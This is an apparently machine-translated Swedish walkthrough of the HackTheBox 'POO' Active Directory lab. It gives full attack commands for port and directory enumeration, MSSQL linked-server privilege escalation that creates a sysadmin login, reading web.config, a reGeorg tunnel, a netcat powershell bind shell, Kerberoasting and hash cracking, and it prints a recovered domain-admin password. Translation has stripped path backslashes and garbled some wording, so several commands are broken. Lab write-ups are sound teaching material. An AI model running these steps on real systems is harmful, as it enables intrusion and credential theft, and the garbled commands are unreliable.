I den här artikeln kommer vi att analysera passagen av inte bara en maskin, utan ett helt minilaboratorium från platsen
Som anges i beskrivningen är POO utformad för att testa färdigheter i alla stadier av attacker i en liten Active Directory-miljö. Målet är att kompromissa med en tillgänglig värd, eskalera privilegier och så småningom äventyra hela domänen genom att samla in 5 flaggor i processen.
Anslutningen till laboratoriet sker via VPN. Det rekommenderas att inte ansluta från en fungerande dator eller från en värd där det finns viktig data för dig, då du kommer in i ett privat nätverk med personer som kan något om informationssäkerhet 🙂
organisationsinformation
För att du ska kunna ta reda på om nya artiklar, programvara och annan information skapade jag
All information tillhandahålls endast i utbildningssyfte. Författaren till detta dokument tar inget ansvar för eventuella skador som orsakats någon som ett resultat av användning av kunskap och metoder som erhållits som ett resultat av att studera detta dokument.
intro
Detta slutspel består av två maskiner och innehåller 5 flaggor.
Beskrivningen och adressen till den tillgängliga värden anges också.
Låt oss komma igång!
Recon flagga
Den här maskinen har IP-adressen 10.13.38.11 som jag lägger till i /etc/hosts.
10.13.38.11 poo.htb
Det första steget är att skanna öppna portar. Eftersom det tar lång tid att skanna alla portar med nmap kommer jag först att göra detta med masscan. Vi skannar alla TCP- och UDP-portar från tun0-gränssnittet med 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Nu, för att få mer detaljerad information om tjänsterna som körs på portarna, låt oss köra en skanning med alternativet -A.
nmap -A poo.htb -p80,1433
Således har vi IIS- och MSSQL-tjänster. I det här fallet kommer vi att ta reda på det riktiga DNS-namnet för domänen och datorn. På webbservern möts vi av IIS hemsida.
Låt oss iterera över katalogerna. Jag använder gobuster för detta. I parametrarna anger vi antalet strömmar 128 (-t), URL (-u), ordbok (-w) och tillägg som intresserar oss (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Således har vi HTTP-autentisering för /admin-katalogen, såväl som lagringsfilen för .DS_Store-skrivbordstjänsten. .DS_Store är filer som lagrar användarinställningar för en mapp, såsom en lista med filer, ikonplats, vald bakgrundsbild. En sådan fil kan hamna i webbserverkatalogen hos webbutvecklare. Därmed får vi information om innehållet i katalogen. För detta kan du använda
python3 dsstore_crawler.py -i http://poo.htb/
Vi får innehållet i katalogen. Det mest intressanta här är katalogen /dev, från vilken vi kan se källorna och db-filerna i två grenar. Men vi kan använda de första 6 tecknen i fil- och katalognamn om tjänsten är sårbar för IIS ShortName. Du kan kontrollera denna sårbarhet med hjälp av
Och vi hittar en textfil som börjar med "poo_co". Utan att veta vad jag skulle göra härnäst valde jag helt enkelt alla ord som börjar med "co" från katalogens ordbok.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Och iterera med wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Och hitta rätt ord! Vi tittar på den här filen, sparar referenserna (att döma av parametern DBNAME är de från MSSQL).
Vi lämnar över flaggan, och vi avancerar med 20%.
Va flaggan
Vi ansluter till MSSQL, jag använder DBeaver.
Vi hittar inget intressant i den här databasen, låt oss skapa en SQL Editor och kolla vilka användare som är.
SELECT name FROM master..syslogins;
Vi har två användare. Låt oss kontrollera våra privilegier.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Det finns alltså inga privilegier. Låt oss se de länkade servrarna, jag skrev om denna teknik i detalj
SELECT * FROM master..sysservers;
Så vi hittar en annan SQL Server. Låt oss kontrollera exekveringen av kommandon på denna server med openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Och vi kan till och med bygga ett frågeträd.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Faktum är att när vi gör en förfrågan till en länkad server, exekveras förfrågan i en annan användares sammanhang! Låt oss se vilken användarkontext vi kör på den länkade servern.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Och låt oss nu se i vilket sammanhang begäran från den länkade servern till vår exekveras!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Det är alltså en DBO-kontext som måste ha alla privilegier. Låt oss kontrollera privilegierna i händelse av en begäran från en länkad server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Som ni ser har vi alla privilegier! Låt oss skapa vår admin så här. Men de släpper inte igenom openquery, låt oss göra det genom EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Och nu ansluter vi till den nya användarens referenser, observera den nya flaggdatabasen.
Vi lämnar över denna flagga och går vidare.
Backtrack flagga
Låt oss hämta skalet med MSSQL, jag använder mssqlclient från impacket-paketet.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Vi måste skaffa lösenord, och det första vi redan har träffat är sajten. Därför behöver vi en webbserverkonfiguration (vi kan inte kasta ett bekvämt skal, tydligen fungerar brandväggen).
Men åtkomst nekas. Även om vi kan läsa filen från MSSQL behöver vi bara veta vilka programmeringsspråk som är konfigurerade. Och i MSSQL-katalogen får vi reda på att det finns Python.
Då är det inga problem att läsa web.config-filen.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Med referenserna hittade, gå till /admin och plocka upp flaggan.
fotfäste flagga
Faktum är att det finns vissa olägenheter med att använda en brandvägg, men tittar vi igenom nätverksinställningarna märker vi att IPv6-protokollet också används!
Lägg till den här adressen till /etc/hosts.
dead:babe::1001 poo6.htb
Låt oss skanna värden igen, men den här gången över IPv6.
Och WinRM-tjänsten är tillgänglig över IPv6. Låt oss ansluta till de hittade referenserna.
Det finns en flagga på skrivbordet, lämna över den.
P00ned flagga
Efter spaning på värden med
setspn.exe -T intranet.poo -Q */*
Låt oss köra kommandot via MSSQL.
På så sätt får vi SPN för användare p00_hr och p00_adm, vilket betyder att de är sårbara för en attack som Kerberoasting. Kort sagt, vi kan få hasharna för deras lösenord.
Först måste du skaffa ett stabilt skal för MSSQL-användarens räkning. Men eftersom vi är begränsade i åtkomst har vi en anslutning till värden endast via portarna 80 och 1433. Men det går att tunnla trafik genom hamn 80! För detta använder vi
Men när vi försöker komma åt det får vi ett fel 404. Det betyder att *.aspx-filer inte körs. För att få filer med dessa tillägg att köras, installera ASP.NET 4.5 enligt följande.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Och nu, när vi kommer åt tunnel.aspx, får vi svaret att allt är klart att köra.
Låt oss starta klientdelen av applikationen, som kommer att vidarebefordra trafik. Vi kommer att vidarebefordra all trafik från port 5432 till servern.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Och vi använder proxykedjor för att skicka trafiken för alla program via vår proxy. Låt oss lägga till denna proxy i konfigurationsfilen /etc/proxychains.conf.
Låt oss nu ladda upp programmet till servern
Nu, genom MSSQL, startar vi lyssnaren.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Och vi ansluter via vår proxy.
proxychains rlwrap nc poo.htb 4321
Och låt oss hämta hasharna.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Därefter måste du iterera över dessa hash. Eftersom rockyou inte hade en lösenordsdatalexikon använde jag ALLA lösenordsordböckerna som finns i Seclists. För uppräkning använder vi hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Och vi hittar båda lösenorden, det första i lexikonet dutch_passwordlist.txt och det andra i Keyboard-Combinations.txt.
Och så vi har tre användare, vi går till domänkontrollanten. Låt oss ta reda på hans adress först.
Bra, vi har lärt oss IP-adressen för domänkontrollanten. Låt oss ta reda på alla användare av domänen, samt vem av dem som är administratör. För att ladda ner skriptet för att få information PowerView.ps1. Sedan kommer vi att ansluta med evil-winrm, och specificera katalogen med skriptet i parametern -s. Och sedan är det bara att ladda PowerView-skriptet.
Nu har vi tillgång till alla dess funktioner. P00_adm-användaren ser ut som en privilegierad användare, så vi kommer att arbeta i dess sammanhang. Låt oss skapa ett PSCredential-objekt för den här användaren.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Nu kommer alla Powershell-kommandon där vi anger Creds att köras på uppdrag av p00_adm. Låt oss visa en lista över användare och AdminCount-attributet.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Så vår användare är verkligen privilegierad. Låt oss se vilka grupper han tillhör.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Vi bekräftar äntligen att användaren är en domänadministratör. Detta ger den rätt att fjärrlogga in på domänkontrollanten. Låt oss försöka logga in med WinRM med vår tunnel. Jag blev förvirrad av felen som utfärdades av reGeorg när jag använde evil-winrm.
Sedan använder vi en annan, enklare,
Vi försöker ansluta, och vi är i systemet.
Men det finns ingen flagga. Titta sedan på användaren och kontrollera skrivborden.
På mr3ks hittar vi flaggan och laboratoriet är 100% färdigställt.
Det är allt. Som feedback kan du kommentera om du lärde dig något nytt från den här artikeln och om det var användbart för dig.
Du kan gå med oss på
Källa: will.com